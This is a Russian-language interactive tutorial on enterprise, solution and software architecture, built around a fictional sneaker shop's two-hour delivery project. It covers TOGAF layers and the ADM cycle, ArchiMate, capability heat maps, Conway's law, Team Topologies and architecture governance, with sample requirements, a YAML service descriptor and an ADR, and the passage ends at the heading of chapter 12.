Архитектура ПО

Интерактивный тренажёр — режем монолит, запускаем сагу, роняем сервисы и смотрим, что будет

Прогресс: 0% · 0 / 0

Любая задача живёт не в коде, а в компании. Прежде чем проектировать, надо понимать, что вокруг: зачем компания существует, какие у неё процессы, какие данные, какие программы и на чём они работают. Весь раздел — одна история интернет-магазина кроссовок «Ботинок». Маленькая задача аналитика Олега упрётся в четыре стены. Потом компания затеет большой проект «доставка за 2 часа». Мы посмотрим на него глазами всех, кто отвечает за архитектуру, — от архитектора предприятия до системного аналитика.

👩 Анна — покупательница 📋 Олег — системный аналитик 🧑‍💻 Борис — разработчик команды доставки 📊 Марина — бизнес-аналитик 🧩 Кирилл — архитектор решения 🗺 Вера — архитектор предприятия

зачем это зачем аналитику и разработчику смотреть выше своей системы

карта раздела одна история, тринадцать глав

Читайте по порядку: каждая глава опирается на предыдущую. Кнопка переносит к главе.

глава 1 · завязка «поменять номер телефона»: задача на час, которая заняла три дня

Понедельник. Олег, системный аналитик «Ботинка», получает задачу: «Анна хочет поменять номер телефона в личном кабинете. Сделайте». Кажется, это на час: одна форма, одно поле, одна запись в базе. Нажмите на каждый тупик, в который Олег упрётся к обеду.

Ни один из четырёх вопросов не решается в коде. Все четыре — про то, как устроена система вокруг вас. Вот на них и отвечает архитектура.

Олег потратил три дня не на форму, а на поиск хозяев: кто решает, можно ли менять номер; чья запись главная; кто ещё пользуется номером; через что идёт запрос в бою. У каждого вопроса оказался свой хозяин, свои документы и свой язык. Эти четыре сорта вопросов называются слоями архитектуры предприятия. К концу раздела вы будете находить хозяина за минуты — по карте.

Проще говоря. Код отвечает на вопрос «как сделать». Архитектура отвечает на вопросы «что именно, для кого, с кем вместе и на чём». Если на них никто не ответил заранее, отвечать придётся вам — в последний момент и по догадке.

глава 2 · масштаб архитектура предприятия, решения и системы: одна идея, три высоты

Через месяц директор «Ботинка» объявляет: «Через год доставляем по Москве за 2 часа». На эту фразу смотрят люди с разной высоты. Слово «архитектура» у них одно, а вопросы — разные.

Архитектура — главные решения о том, из каких частей состоит система, как части связаны друг с другом и с окружением и по каким правилам всё это будет развиваться. Так её определяет международный стандарт описания архитектуры ISO/IEC/IEEE 42010. «Система» здесь — что угодно: программа, набор программ или целая компания.
Архитектура предприятия (enterprise architecture) — описание всей компании как одной системы: цели и возможности, процессы, данные, программы и техника, связи между ними и план, как это должно меняться, чтобы компания достигла целей. Горизонт — годы.
Архитектура решения (solution architecture) — как решить одну конкретную задачу бизнеса (проект, продукт, инициативу) силами нескольких систем: что доработать, что купить, что связать и в каком порядке. Горизонт — месяцы.
Архитектура системы (архитектура ПО, software architecture) — как устроена одна программа изнутри: модули и границы, данные, как она переживает сбои и нагрузку. Её меняют каждый спринт, а главные решения живут годами. Почти весь остальной тренажёр — про этот масштаб.
город, квартал и дом. Генплан города решает, где жилые районы, где склады и где пройдёт метро — это архитектура предприятия. Проект квартала вписывает новые дома, школу и парковку в дороги и сети, которые уже есть, — это архитектура решения. Проект дома решает, где несущие стены и стояки, — это архитектура системы. Прекрасный дом, поставленный поперёк будущей линии метро, — всё равно ошибка.

Интерактив: поднимитесь на нужную высоту

Выберите масштаб. Подсветится, где он находится в «матрёшке», и что на этой высоте видно в проекте «доставка за 2 часа».

Проще говоря. Предприятие — какие задачи решать компании и в каком порядке. Решение — как решить одну из них. Система — как устроить одну программу, чтобы она это делала долго и надёжно. Ошибка на верхней высоте стоит дороже всего: можно идеально построить не то.

глава 3 · роли кто есть кто: пять ролей вокруг одного проекта

На проекте «доставка за 2 часа» работают пять человек, и у каждого в должности есть слово «архитектор» или «аналитик». Путать их — частая беда новичка: он несёт вопрос не тому и неделю ждёт ответа. Нажмите на строку, чтобы раскрыть подробности.

стройка жилого комплекса. Главный архитектор города решает, что здесь вообще можно строить. Архитектор проекта решает, как комплекс встанет на участок и подключится к сетям. Конструктор решает, как устроен каждый дом. Инженер пишет спецификацию: какие окна, какие двери, с какими размерами и допусками. А представитель заказчика выясняет, чего хотят будущие жильцы и за что они готовы платить.
Роль — это вопрос, а не должность. В компании из 30 человек один техлид совмещает архитектора решения и системного архитектора, а аналитик — бизнес- и системного. В банке на 5000 ИТ-специалистов это пять разных людей в разных отделах. Важно не название, а чтобы на каждый из пяти вопросов кто-то отвечал.

Тренажёр: чья это задача?

Десять задач из проекта. Отнесите каждую к роли. Ошибётесь — прочитаете разбор.

Разложено 0 из 0.

Как это звучит в документе аналитика Раздел «Контекст» в постановке Олега ссылается на решения других ролей, а не пересказывает их:
Инициатива ИН-12 «Доставка за 2 часа» (владелец — директор по логистике). Архитектура решения — документ Кирилла, версия 1.3. Затронутые системы: сайт, сервис доставки, складская система. Эта постановка описывает только сервис слотов доставки.

Частые ошибки

  • Аналитик ждёт, что архитектор решения опишет поля API. Не опишет: это работа аналитика.
  • Архитектор предприятия рисует схемы классов одного сервиса — и перестаёт видеть компанию целиком.
  • Стык двух систем ничей: каждая команда думает, что интеграцию описывает соседняя.

глава 4 · четыре слоя как архитектор предприятия видит «Ботинок»

Вера, архитектор предприятия, показывает Олегу, как она видит компанию: четыре слоя, лежащих друг на друге. Каждый верхний опирается на нижний. Процессы работают в приложениях, приложения хранят данные, а всё это крутится на технике.

Слой архитектуры — срез компании, в котором собраны вещи одного сорта: только процессы и цели, только данные, только программы или только техника. У каждого слоя свой хозяин, свои документы и свой язык.
поэтажный план дома. На одном листе — планировка комнат, на другом — электрика, на третьем — водопровод, на четвёртом — фундамент. Каждый лист понятен отдельно, но сверлить стену, не посмотрев лист с электрикой, опасно.

Интерактив: нажмите на слой

Нажмите на любой слой — увидите, что там живёт, кто отвечает, какие артефакты рисуют и что ломается, если ошиблись.

Откуда именно четыре. Это канон TOGAF, там их называют BDAT по первым буквам: Business, Data, Application, Technology. Первоисточник — документация The Open Group, короткий обзор — статья про TOGAF. Данные и приложения в TOGAF часто объединяют в одну фазу — «архитектура информационных систем» (глава 7).

Бизнес-слой изнутри: четыре вещи, которые постоянно путают

Самый трудный для новичка слой — верхний. В нём живут четыре разных сорта вещей, и в разговоре их смешивают. Разберём на одной теме — доставке.

🎯 Возможность

Что компания умеет делать — без «как» и «кем».

«Доставка заказов»

🔁 Процесс

Как она это делает: шаги с началом, концом и результатом.

«Принять заказ → собрать → передать курьеру → вручить»

👥 Оргструктура

Кто отвечает: отделы, команды, роли.

«Отдел логистики, команда „Доставка“, курьеры-партнёры»

📦 Продукт

Что покупает клиент и за сколько.

«Экспресс-доставка за 2 часа — 299 ₽»
Бизнес-возможность (business capability) — то, что компания умеет делать для достижения целей, без ответа на вопросы «как» и «кем». Возможность стабильна: компания может сменить процессы, отделы и программы, а возможность «Доставка заказов» останется.
«умею водить машину» — возможность. Маршрут до работы — процесс. Какая машина — ресурс. Кто за рулём — исполнитель. Пересели с бензиновой машины на электромобиль — возможность та же, а процесс заправки другой.
Бизнес-процесс (business process) — последовательность шагов, которая начинается с события («Анна нажала „Оплатить“») и заканчивается результатом для клиента или компании («Анна получила кроссовки»). Процессы описывают в нотации BPMN.
Проще говоря. Возможность — существительное («доставка»). Процесс — глагол с шагами («принять → собрать → доставить»). Отдел — кто. Продукт — что продаём. Если на вопрос «что компания умеет?» вы отвечаете названием отдела — вы описали оргструктуру, а не возможность. Отделы реорганизуют каждые два года, а доставка остаётся.
Ещё одно слово: поток ценности (value stream) — цепочка этапов, через которые клиент получает ценность: «выбрал → купил → получил → носит → вернул, если не подошло». Поток показывают поверх карты возможностей: на каждом этапе работают несколько возможностей.

Тренажёр: отнесите решение к слою

Двенадцать решений из жизни проекта. Ошибётесь — прочитаете разбор, это и есть смысл. Пятая корзина, «сквозное», — для решений, у которых нет своего слоя: они связывают остальные четыре (подробно — в главе 9).

Разложено 0 из 0.

Как это звучит в требованиях аналитика Хорошая постановка сама показывает, к какому слою относится каждое утверждение и кто его хозяин:
Бизнес-правило БП-7. Номер телефона меняется только после ввода кода, отправленного на старый номер. Источник — политика безопасности, владелец — служба безопасности.
Данные. Мастер-система для телефона клиента — CRM. Сайт и сервис рассылок получают изменение событием «Телефон клиента изменён» и не правят номер сами.
Технологии (НФТ). Поле «телефон» передаётся в формате E.164 (например, +79161234567), не длиннее 15 цифр — шлюз не должен его обрезать.

Частые ошибки

  • Называть возможностью отдел («у нас есть возможность „Отдел логистики“»).
  • Начинать с нижнего слоя: «берём Kafka», ещё не зная, какой процесс она будет обслуживать.
  • Описывать приложения без данных: схема сервисов есть, а чья запись главная — не сказано.

глава 5 · живая модель трассировка: что нужно, чтобы Анна купила кроссовки

Слои лежат друг на друге не просто так: между ними есть связи. Возможность «Продажа» держится на процессах, процессы работают в приложениях, приложения хранят данные на серверах. Вера держит эти связи в одной модели. Олегу это пригодится дважды: когда он оценивает, что затронет его задача, и когда ночью что-то падает.

Трассировка (traceability) — записанные связи между элементами разных слоёв: какая возможность держится на каких процессах, процессы — на каких приложениях, приложения — на каких данных и серверах. По ним путь читается в обе стороны.
Анализ влияния (impact analysis) — ответ на вопрос «что затронет изменение или отказ вот этого?». Отвечают, идя по связям снизу вверх или сверху вниз.
схема метро с пересадками. Закрыли станцию — по схеме сразу видно, какие маршруты пострадают и где объехать. Без схемы вы узнаёте это, стоя перед закрытыми дверями.

Модель «Ботинка»: 26 узлов в пяти полосах

Режим «Связи»: нажмите на узел — подсветится всё, что ему нужно (ниже), и всё, что от него зависит (выше). Режим «Отказ»: нажмите на узел — он «упадёт», и волна пойдёт вверх по связям. Узел можно выбрать и из списка. Справа — три задания.

Задания
Как читать схему. Пять полос сверху вниз: возможности, процессы, приложения, данные, технологии. Линия значит «верхнему нужен нижний». Пунктир — асинхронная связь через брокер сообщений: если нижний отказал, верхний продолжает работать, но с задержкой. В режиме «Отказ» красное — остановилось, жёлтое — работает с задержкой.
Что вы увидите и почему.
• db-01 держит три сущности — «Клиент», «Заказ», «Отправление». Его отказ останавливает все три возможности. Это единая точка отказа, и без модели её не видно: каждая команда знает только свою таблицу. Лечат репликой с переключением или разносом данных по разным серверам.
• Сервер склада стоит на пути продажи: оформить заказ нельзя, пока склад не зарезервировал товар. Архитектор решения спросит: а можно принимать заказ сразу, а резервировать через минуту? Это уже бизнес-вопрос — готовы ли мы иногда продать то, чего нет.
• Kafka — на пунктире. Её отказ не останавливает продажу: сервис заказов складывает события у себя в базе (шаблон outbox) и отправит их позже. Но статусы Анне придут с опозданием, и доставка узнает о заказе позже.
Как это звучит в требованиях аналитика
НФТ-12. Критичность. Сервис заказов поддерживает возможность «Продажа кроссовок» (критичность 1 — высшая). Допустимое время восстановления (RTO) — 15 минут, допустимая потеря данных (RPO) — 0.
Раздел «Анализ влияния» в постановке. Задача «сменить телефон» затрагивает процессы «Вход по СМС» и «Рассылка статусов», приложения — сайт, CRM и сервис рассылок, данные — «Клиент». Владельцев всех трёх приложений позвали на ревью постановки.

Частые ошибки

  • Связи хранятся в головах двух старожилов. Ушёл старожил — ушла карта.
  • Трассируют только сверху вниз («что нужно проекту»), а «что затронет отказ» выясняют во время аварии.
  • Карту нарисовали один раз и не обновляют. Устаревшей карте верят — поэтому она опаснее, чем никакая.
  • Не различают синхронные и асинхронные связи и неверно оценивают последствия отказа.

глава 6 · карта возможностей куда вложить бюджет: тепловая карта «Ботинка»

Совет директоров даёт на следующий год бюджет на две крупные доработки. Маркетинг просит новую рекламную платформу, финансы — новую бухгалтерию, логистика — курьерский модуль. Каждый уверен, что его просьба важнее. Вера приносит на совет одну страницу — карту возможностей.

Карта бизнес-возможностей (business capability map) — одна страница со всеми возможностями компании, сгруппированными по крупным областям, обычно в два-три уровня. На ней нет процессов, отделов и программ — только то, что компания умеет.
Тепловая карта (heat map) — та же карта, раскрашенная по одному признаку: зрелость, важность для стратегии, затраты, риск. Каждый признак — отдельная «линза».
медкарта после диспансеризации. Это не «что болит сегодня», а общий осмотр: сердце в норме, зрение садится, колено пора лечить. По ней врач решает, куда тратить силы, а не лечит того, кто громче жалуется.

Интерактив: четыре линзы одной карты

Зрелость (1–5) — насколько хорошо возможность работает сейчас: 1 — вручную и с ошибками, 5 — автоматизировано и измеряется. Важность (1–5) — насколько она нужна стратегии на ближайшие годы. Затраты — сколько компания тратит на неё в год (люди и системы). «Куда вкладывать» — сводная линза. Переключайте линзы и нажимайте на клетки. Потом возьмите задание.

Проще говоря. Тепловая карта превращает спор «чья просьба важнее» в разговор о фактах: нужна ли возможность стратегии и насколько плохо она работает сейчас. Громкость просящего на карте не видна.

Как составляют карту возможностей

Как это звучит в требованиях аналитика
Инициатива ИН-12 «Доставка за 2 часа» привязана к возможности 3.2 «Доставка заказов» (важность 5, зрелость 1). Все требования проекта ссылаются на неё. Если бюджет урежут, по ссылкам видно, что именно вырезаем.
Сервис слотов реализует часть возможности 3.2. Владелец возможности — директор по логистике: он утверждает бизнес-правила слотов (сколько заказов в слот, за сколько минут закрывать запись).

Частые ошибки

  • Карта возможностей — это оргструктура с переименованными отделами.
  • 300 карточек: карту, которую нельзя окинуть взглядом, не используют для решений.
  • Оценки без владельцев: архитектор сам поставил «зрелость 2», и логистика не согласна с картой целиком.
  • Тепловая карта как приговор. Это повод для разговора, а не готовое решение.

глава 7 · TOGAF ADM колесо фаз: как «доставку за 2 часа» вели от идеи до внедрения

Бюджет выделен. Теперь Вере нужен порядок работы: с чего начать, что нарисовать, когда передать проектам и как проследить, что построили задуманное. Для этого есть стандартный цикл.

TOGAF (The Open Group Architecture Framework) — свод методов и правил для архитектуры предприятия от консорциума The Open Group. Первая версия вышла в 1995 году, текущая редакция — TOGAF Standard, 10th Edition (2022).
ADM (Architecture Development Method, метод разработки архитектуры) — сердце TOGAF: цикл фаз, по которому архитектуру предприятия создают и меняют. Это цикл, а не водопад: фазы повторяются, к ним возвращаются, а в центре всё время работает управление требованиями.
ремонт квартиры по-взрослому. Сначала договариваются о правилах («несущие стены не трогаем», бюджет). Потом видение («хотим кухню-гостиную»). Потом обмеряют, что есть, и рисуют, что будет, — по планировке, электрике и трубам. Потом решают, кто делает, и планируют ремонт по комнатам, чтобы было где жить. Потом технадзор за бригадой. А через год смотрят, не пора ли что-то переделать. Всё это время список желаний семьи лежит на столе, и каждое изменение сверяют с ним.

Интерактив: нажмите на фазу

Нажмите на фазу в колесе или на кнопку с её буквой. «▶ Пройти цикл» проведёт по всем фазам по порядку. Для каждой фазы — что происходит, главные вопросы, артефакты (с английскими названиями, как в стандарте), что было в «Ботинке» и где участвует аналитик.

Анализ разрывов (gap analysis) — сравнение «как есть» (baseline) и «как будет» (target) на каждом слое: что добавить, что убрать, что поменять. Каждый разрыв потом становится работой в дорожной карте.
вы смотрите в холодильник (как есть) и в меню на неделю (как будет). Разница — это список покупок.
Переходная архитектура (transition architecture) — промежуточное состояние между «как есть» и «как будет», в котором компания может нормально жить и работать. Большие изменения делают не одним прыжком, а через две-три такие ступеньки.
Честно о TOGAF. Мало кто проходит ADM буквально, со всеми артефактами. Стандарт сам предлагает подгонять себя под компанию (tailoring). Но его словарь — видение, «как есть» и «как будет», разрыв, дорожная карта, переходная архитектура, архитектурный контракт — понимают архитекторы во всём мире. Выучите слова, даже если ваша компания «не делает TOGAF».
Как это звучит в требованиях аналитика
Требование АТ-14 из спецификации архитектурных требований (Architecture Requirements Specification): «Слоты доставки публикует только сервис доставки. Сайт не хранит собственную копию слотов дольше 60 секунд».
Олег переносит его в свою постановку дословно и со ссылкой. На ревью видно, откуда ограничение и кого спрашивать, если оно мешает.

Частые ошибки

  • Делать ADM ради документов: 200 страниц, которые никто не прочтёт.
  • Пропустить фазу A и сразу рисовать целевую архитектуру: нет видения — нет критерия, что правильно.
  • Забыть фазу G: нарисовали и ушли, а проекты построили по-своему.
  • Считать ADM водопадом. Из фазы C нормально вернуться в B, если выяснилось новое.

глава 8 · ArchiMate как нарисовать все слои на одной схеме и не спорить о стрелках

Вера описала целевую архитектуру. Но если каждый рисует по-своему, прямоугольник у одного — сервер, у другого — команда, а стрелка значит то «вызывает», то «зависит», то «входит в». Нужен общий язык схем.

ArchiMate — язык моделирования архитектуры предприятия от The Open Group: строгий набор значков для элементов всех слоёв и набор связей с точным смыслом. TOGAF говорит, что делать; ArchiMate — как это нарисовать, чтобы любой архитектор понял схему одинаково. Ниже — элементы по спецификации ArchiMate 3.2.
ноты. Мелодию можно описать словами («сначала тихо, потом громче»), но ноты любой музыкант в мире прочитает одинаково.

Бизнес-слой

Актор — кто (Анна, отдел). Роль — в каком качестве. Бизнес-процесс, функция, событие. Бизнес-сервис — что бизнес даёт наружу. Бизнес-объект — понятие («Заказ»). Продукт.

Слой приложений

Компонент приложения — программа, сервис. Интерфейс — API или экран. Функция и процесс приложения. Сервис приложения — что программа даёт наружу. Объект данных — запись, таблица.

Слой технологий

Узел — сервер, кластер. Устройство. Системное ПО — СУБД, операционная система. Технологический сервис — хостинг, хранение. Артефакт — файл, образ контейнера. Сеть связи.

Над тремя слоями есть ещё стратегия (возможность, поток ценности, ресурс) и мотивация (цель, драйвер, принцип, требование). Поэтому возможность из главы 6 и принцип из главы 11 рисуются на одной схеме с серверами — и связь «цель → требование → сервис → сервер» видна целиком.

Связи: у каждой стрелки один смысл

Нажмите на строку — раскроется пояснение.

Интерактив: прочитайте схему по шагам

Один срез «Ботинка»: как процесс «Оформить заказ» держится на программах и технике. На каждом шаге подсвечена одна связь и объяснено, как её читать.

Цвета — традиция: бизнес — жёлтый, приложения — голубой, технологии — зелёный. Стандарт цвет не требует, но так рисует большинство инструментов, например бесплатный Archi.
Как это звучит в требованиях аналитика
В постановке — фрагмент схемы «Оформление заказа» и фраза: «Изменение затрагивает сервис приложения „Приём заказов“ и объект данных „Заказ“. Бизнес-процесс не меняется».
Разработчик сразу видит границы задачи, а бизнес — что его процесс не трогают.

Частые ошибки

  • Всё на одной схеме: 120 элементов, которые никто не прочитает. Рисуют отдельные виды (views) под вопрос: «что держит процесс», «где развёрнуто».
  • Путают сервис и компонент. Сервис — обещание («принимаем заказы»), компонент — программа, которая его выполняет.
  • Везде «просто линия» (ассоциация). Такая схема не отвечает ни на один вопрос.

глава 9 · SEAF одна карта вместо четырёх документов

Четыре слоя описывают четыре разных человека. В разное время и каждый своими словами:

КтоЧто он написал у себя
бизнеспроцесс «Оформление заказа»
аналитиксущность «Заказ»
архитекторсервис order-api
инфраструктурасервер srv-prod-14

Четыре документа. Каждый сам по себе нормальный. Но связать их между собой нельзя: нигде не написано, что процесс оформления заказа работает на сервисе order-api, который хранит «Заказ» и живёт на srv-prod-14. Эта связь есть только в голове у пары старожилов.

Два случая, когда это выстреливает. Выберите случай и посмотрите, что происходит.

Одной фразой. SEAF — это общие правила описания: один словарь, один способ описывать и явно записанные связи между слоями. Он превращает четыре независимых документа в одну карту, по которой путь читается в обе стороны: от бизнес-цели вниз до сервера и от сервера вверх до бизнес-цели.

Из чего состоит единый свод правил

🧬 Метамодель

Какие типы элементов бывают (возможность, процесс, приложение, сущность, узел) и какие связи между ними разрешены. Без неё один пишет «сервис», другой «система», третий «модуль» — про одно и то же.

📖 Единый словарь

«Заказ» значит одно и то же у бизнеса, аналитика и в базе. Если в разных частях компании слово значит разное, это записано явно.

🗄 Репозиторий

Одно место, где лежит модель. Часто — «архитектура как код»: описания в текстовых файлах рядом с кодом, из них автоматически рисуются схемы.

🔑 Правила владения

У каждого элемента есть хозяин. Изменилось в проде — изменилось в модели, и это проверяется, а не остаётся на совести.

Метамодель (metamodel) — модель того, как устроена модель: список типов элементов и разрешённых связей между ними. Например: «приложение обслуживает процесс», «приложение хранит сущность», «приложение развёрнуто на узле».
правила настольной игры. Фишки и поле у всех одинаковые, и ходить можно только по правилам. Без правил каждый двигает фишки как хочет, и партию невозможно ни продолжить, ни проверить.

Пример артефакта: описание сервиса в репозитории

Так может выглядеть описание сервиса заказов в формате «архитектура как код». Формат условный — у каждой компании свой, — но смысл один.

id: order-api
title: Сервис заказов
type: application-component     # тип из метамодели
owner: team-checkout            # команда-хозяин
supports:                       # связь с бизнес-слоем
  - process: checkout           # «Оформление заказа»
  - process: return             # «Возврат товара»
data:                           # связь со слоем данных
  - entity: order               # «Заказ»
    role: master                # главная запись — здесь
  - entity: client              # «Клиент»
    role: read-copy             # копия; мастер — CRM
runs-on:                        # связь с технологиями
  - node: k8s-prod
  - node: db-01
criticality: 1                  # по самой важной возможности
id и type
Единый идентификатор и тип из метамодели. По id на сервис ссылаются все остальные описания — опечатка ловится при сборке.
owner
Хозяин. Ночью дежурный знает, кому звонить, а Олег — кого звать на ревью постановки.
supports
Связь вверх, с процессами. Отсюда строится анализ влияния из главы 5.
data + role
Какие сущности хранит и в какой роли — мастер или копия. Это прямой ответ на первый тупик Олега: «где правильный телефон».
runs-on
Связь вниз, с техникой. Упал db-01 — список затронутых сервисов строится запросом, а не по памяти.
criticality
Выводится из важности возможности. По ней назначают время восстановления и дежурства.
Честно про аббревиатуру. SEAF — не общепринятый мировой термин. Эту роль обычно играют TOGAF вместе с языком описания ArchiMate; в научных статьях встречается Sectoral Enterprise Architecture Framework. В крупных компаниях чаще заводят свой внутренний свод правил под своим названием. Если аббревиатура пришла из материалов конкретной компании — это почти наверняка их внутренний framework. Суть от названия не меняется.

Частая путаница: слоёв четыре, а коробок на схеме шесть

Рядом с четырьмя слоями на схемах стоят ещё две коробки: SEAF и управление требованиями. Это не слои. Разница по клику.

Как это звучит в требованиях
Новый сервис регистрируется в репозитории архитектуры до выхода в прод: хозяин, поддерживаемые процессы, хранимые данные с ролью (мастер или копия), где развёрнут. Без регистрации конвейер не выкатывает сервис в прод.

Частые ошибки

  • Модель ради модели: красиво нарисовали, но ни одно решение по ней не принимают — и её перестают обновлять.
  • Метамодель на 80 типов элементов. Люди путаются и пишут в свободном поле что попало.
  • Обновление модели — отдельная ручная работа «потом». «Потом» не наступает.

глава 10 · Конвей и Team Topologies как устройство команд становится устройством системы

В «Ботинке» решили: доставкой за 2 часа займутся «все понемногу». Через два месяца Кирилл замечает, что схема системы подозрительно похожа на схему отделов. Это не совпадение.

Закон Конвея (1967): организации проектируют системы, которые копируют структуру общения внутри самой организации. Проще: границы в программе пройдут там же, где границы между людьми.
три бригады строят один дом, и каждая отвечает за свой подъезд. Получится три подъезда с разной плиткой и стыками там, где бригады не договорились. Даже если на чертеже был один дом.

Интерактив: выберите, как поделены люди

Выберите оргструктуру и посмотрите, что из неё вырастет.

Обратный манёвр Конвея (inverse Conway maneuver) — сначала решить, какие границы нужны системе, а потом собрать команды так, чтобы их границы совпали с нужными. Закон нельзя отменить, но им можно пользоваться.
хотите, чтобы в квартире была отдельная кухня, — ставите стену до того, как расставили мебель. Иначе кухня «растечётся» по гостиной, как бы вы её ни называли.

Team Topologies: четыре типа команд и три способа общения

Team Topologies — подход к устройству команд из книги Мэттью Скелтона и Мануэля Паиса (2019). Главная идея: команда — это единица поставки, а устройство команд и их общения проектируют так же осознанно, как архитектуру, чтобы изменения текли быстро.
Когнитивная нагрузка команды (cognitive load) — сколько всего команда должна держать в голове, чтобы делать свою работу: предметную область, технологии, инфраструктуру, чужие системы. Если нагрузка больше, чем помещается в 5–9 голов, команда ошибается и работает медленно.

🌊 Потоковая команда

(stream-aligned team) Отвечает за поток изменений одной части бизнеса «от идеи до продакшена»: сама проектирует, пишет, выкатывает и дежурит. Основной тип — таких команд большинство.

семейный ресторан, где одна бригада и готовит, и подаёт, и читает отзывы гостей.

🧱 Платформенная команда

(platform team) Делает внутренний продукт для других команд — окружения, конвейер сборки, мониторинг, — чтобы потоковые команды брали всё это сами, без заявок и ожидания.

коммунальные службы. Чтобы включить свет, вы не зовёте электрика — просто нажимаете выключатель.

🧮 Команда сложной подсистемы

(complicated-subsystem team) Держит часть, где нужны редкие знания: математику маршрутов, распознавание, движок цен. Остальные пользуются результатом, не вникая в формулы.

кондитер в ресторане. Торты требуют отдельного мастерства, и учить этому каждого повара нет смысла.

🧭 Команда-помощник

(enabling team) Временно помогает другим освоить новое — наблюдаемость, тестирование — и уходит. Работу за них не делает.

инструктор в автошколе. Он сидит рядом, пока вы учитесь, а потом вы ездите сами.

🤝 Сотрудничество

(collaboration) Две команды тесно работают вместе над новым, границы размыты. Хорошо на время поиска решения, дорого навсегда.

🔌 Как услуга

(X-as-a-Service) Одна команда даёт, другая пользуется по понятному контракту, почти без встреч. Обычный режим для платформы.

🧭 Содействие

(facilitating) Одна команда помогает другой научиться. Режим команды-помощника.

Живая модель: меняете команды — меняется архитектура

Выберите, как поделены люди, добавьте типы команд и режим общения. Модель сразу покажет, какая архитектура вырастет и во что обойдётся фича «доставка за 2 часа». Потом нажмите «▶ Провести фичу» и посмотрите, через какие команды она пройдёт.

люди
добавить
Доставка ↔ Платформа

Команды и как они общаются

Архитектура, которая вырастет

Что заложено в модель. Фича требует: выбор слота в корзине, сервис слотов со своей базой, расчёт времени в пути для курьеров и выкатку нового сервиса с мониторингом. Каждая передача работы между командами — это очередь и ожидание. Числа условные, но соотношения типичные.
Что вы увидите и почему. «По слоям» фича режет все четыре отдела и ждёт в четырёх очередях. «По потокам» её делает одна команда — но без платформы эта команда тонет в инфраструктуре, а без команды маршрутов — в математике: нагрузка «перегруз». Режим «сотрудничество» с платформой полезен на месяц, пока шаблон сервиса ещё не готов, но навсегда он съедает время обеих команд. Лучший результат — когда у потоковой команды остаётся только её предмет, а всё остальное она берёт как услугу.
Как это звучит в требованиях аналитика
Владелец сервиса слотов — команда «Доставка». Расчёт времени в пути предоставляет команда «Маршруты» через API /eta по своему контракту (ответ до 200 мс). Изменения контракта — через заявку, срок реакции — 3 рабочих дня.

Частые ошибки

  • Переименовать отделы в «потоковые команды», ничего не поменяв в том, кто за что отвечает.
  • Платформа превращается в ещё один отдел с очередью заявок вместо самообслуживания.
  • Вечное «сотрудничество» вместо контракта: две команды годами синхронизируются на встречах.
  • Команда-помощник делает работу за других — и остаётся навсегда.

глава 11 · управление архитектурное управление: как 14 команд не растаскивают систему в разные стороны

В «Ботинке» 14 команд. Каждая за месяц принимает десятки технических решений. Если никто не следит, через год в компании пять видов баз данных, три брокера и четыре способа логировать, а дежурный ночью не знает ни одного из них целиком. Борис из команды доставки как раз хочет взять для слотов MongoDB.

Архитектурное управление (architecture governance) — правила и процедуры, по которым в компании принимают, проверяют и записывают архитектурные решения. Цель — чтобы сотни решений разных команд складывались в одну систему, а не в зоопарк.
правила дорожного движения. Есть правила (ПДД), стандарты на автомобили, экзамен и техосмотр, реестр номеров. Без них каждый ездит, как удобно ему, — пока все не встретятся на одном перекрёстке.

📜 Принципы

Короткие правила, по которым принимают решения: «данные — актив, у каждой сущности один хозяин».

📐 Стандарты и каталог

Какие технологии разрешены. Часто в виде техрадара с кольцами «Использовать», «Пробовать», «Оценивать», «Не брать» (Adopt, Trial, Assess, Hold).

🏛 Архитектурный комитет

(Architecture Board) Группа архитекторов и техлидов, которая принимает решения, выходящие за одну команду, и выдаёт исключения из стандартов.

🔍 Архитектурное ревью

Проверка решения до реализации: соответствует ли принципам, отвечает ли на ключевые вопросы, какие риски.

🗂 Реестр решений

Журнал принятых решений (ADR): что решили, почему, что отвергли и когда пересмотреть.

Архитектурный принцип — правило, которое помогает выбирать между вариантами. В TOGAF у принципа четыре части: название, формулировка, обоснование и следствия.
Исключение (в TOGAF — dispensation) — разрешение отступить от стандарта в конкретном случае, со сроком и владельцем. Исключение — нормальная часть процесса, а не поражение: без него стандарты превращаются в запреты, которые обходят.

Артефакт 1: принцип

П-5. Сначала стандартные технологии

Формулировка:  Новые системы строим на технологиях из каталога
               со статусом «Использовать». Остальное — только
               через исключение, одобренное архитектурным комитетом.
Обоснование:   Каждую технологию надо уметь обновлять, бэкапить
               и чинить ночью. Пять разных баз — пять наборов
               знаний у дежурных.
Следствия:     • каталог технологий пересматриваем раз в квартал;
               • у каждого исключения есть срок и владелец;
               • обучение новой технологии — до внедрения, не после.
Главное в принципе — следствия. Принцип без следствий («мы за качество») — лозунг: по нему нельзя ни принять, ни отклонить ни одно решение. Проверка простая: если с принципом никто не может не согласиться, он ничего не решает.

Артефакт 2: запись в реестре решений

ADR-0042. Хранение слотов доставки
Статус:       принято, 14.09.2026
Контекст:     Слоты — расписание на 14 дней по 120 зонам Москвы,
              до 300 резервирований в секунду в пик.
              Команда предлагала MongoDB (заявка АР-117).
Варианты:     1) PostgreSQL, расписание в поле JSONB
              2) MongoDB
Решение:      вариант 1.
Обоснование:  укладывается в нагрузку; принцип П-5;
              бэкапы и дежурства уже настроены.
Последствия:  + в проде не появляется новая технология
              − структуру расписания сложнее менять
Пересмотр:    если слотов станет больше 50 млн.
ADR (Architecture Decision Record) — короткая запись о решении: контекст, варианты, выбор и его цена. Ценнее всего через год, когда новый разработчик спросит «почему не MongoDB?». Подробнее — в разделе «Документирование архитектуры».

Интерактив: путь одного решения

Два сценария одной истории. Пройдите оба до конца: по правилам и в обход.

Проверочный список ревью: на какие вопросы отвечает описание архитектуры

С этим списком архитектурный комитет смотрит на любое крупное решение. Нет ответа — значит, решение ещё не принято, и его примет за вас случай. Нажмите на строку.

Как это звучит в требованиях
Хранение слотов — по решению ADR-0042 (PostgreSQL). Отклонение от стандарта технологий возможно только через исключение архитектурного комитета, с датой пересмотра.
Регламент: заявка на архитектурное ревью рассматривается не дольше 5 рабочих дней. Решения внутри одной команды, не нарушающие принципов, команда принимает сама и только записывает в реестр.

Частые ошибки

  • Комитет как бутылочное горлышко: ревью длится шесть недель — и все начинают его обходить.
  • Принципы-лозунги без следствий.
  • Реестр решений, который никто не читает, потому что его не найти.
  • Ревью после релиза, когда менять уже поздно и дорого.

глава 12 · место аналитика где на этой карте системный аналитик и что он производит

